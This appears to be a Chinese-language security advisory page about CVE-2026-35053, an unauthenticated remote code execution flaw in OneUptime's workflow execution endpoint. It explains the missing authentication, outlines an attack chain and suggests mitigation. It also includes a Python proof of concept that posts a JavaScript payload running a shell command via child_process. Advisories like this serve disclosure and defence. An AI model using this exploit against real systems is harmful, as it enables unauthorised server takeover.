IPBUF安全漏洞报告
English
CVE-2026-35053 CVSS 9.8 严重

CVE-2026-35053 OneUptime远程代码执行漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-35053
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OneUptime

相关标签

RCE远程代码执行OneUptime认证绕过CVE-2026-35053

漏洞概述

OneUptime是一个开源监控和可观测性平台。在10.0.42之前的版本中,其Worker服务的ManualAPI组件存在严重的认证缺失漏洞。受影响的工作流执行端点(GET/POST /workflow/manual/run/:workflowId)未配置身份验证中间件,允许未经授权的访问。攻击者只需获取或猜解工作流ID,即可发送特制请求触发任意工作流执行,进而利用受控输入执行JavaScript代码,导致服务器被完全控制、通知滥用及数据篡改。该漏洞CVSS v3.1评分为9.8,属于严重级别。

技术细节

该漏洞的核心成因在于OneUptime Worker服务的ManualAPI实现中,关键的工作流执行接口未应用任何身份验证机制。具体而言,GET和POST请求至/workflow/manual/run/:workflowId端点时,系统未校验调用者的身份凭证。攻击者利用这一设计缺陷,首先需要进行简单的侦察以获取或暴力猜测有效的workflowId。一旦获得ID,攻击者可构造包含恶意JavaScript代码的JSON数据包,发送至上述端点。由于系统直接将输入数据传递给工作流引擎处理,且工作流支持执行JS代码,攻击者注入的代码便会在服务器端上下文中被执行。这不仅导致任意代码执行(RCE),还允许攻击者滥用平台的通知功能或篡改核心数据,完全威胁系统的机密性、完整性和可用性。

攻击链分析

STEP 1
信息收集
攻击者扫描目标OneUptime实例,枚举或猜测有效的工作流ID (workflowId)。
STEP 2
构造载荷
攻击者构造包含恶意JavaScript代码的HTTP POST请求数据,旨在执行系统命令或窃取数据。
STEP 3
发送请求
攻击者向未授权的端点/workflow/manual/run/:workflowId发送特制请求,由于缺乏认证,请求被服务器接受。
STEP 4
执行与利用
Worker服务解析请求并执行工作流,恶意JavaScript代码在服务器端运行,攻击者获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration target_host = "http://vulnerable-oneuptime-instance.com" workflow_id = "target_workflow_id" # Needs to be a valid workflow ID url = f"{target_host}/workflow/manual/run/{workflow_id}" # Malicious payload to execute JavaScript code (e.g., execute a shell command) # This payload attempts to run 'whoami' using Node.js child_process payload = { "data": { "input": "require('child_process').execSync('whoami').toString()" } } headers = { "Content-Type": "application/json" } try: # Send the POST request without authentication headers response = requests.post(url, headers=headers, data=json.dumps(payload), timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check workflow execution logs for output.") print(f"[+] Response body: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") print(f"[-] Response body: {response.text}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

OneUptime < 10.0.42

防御指南

临时缓解措施
如果无法立即升级,建议通过防火墙或WAF规则阻断对/workflow/manual/run/路径的非授权外部访问,并监控该端点的异常请求日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表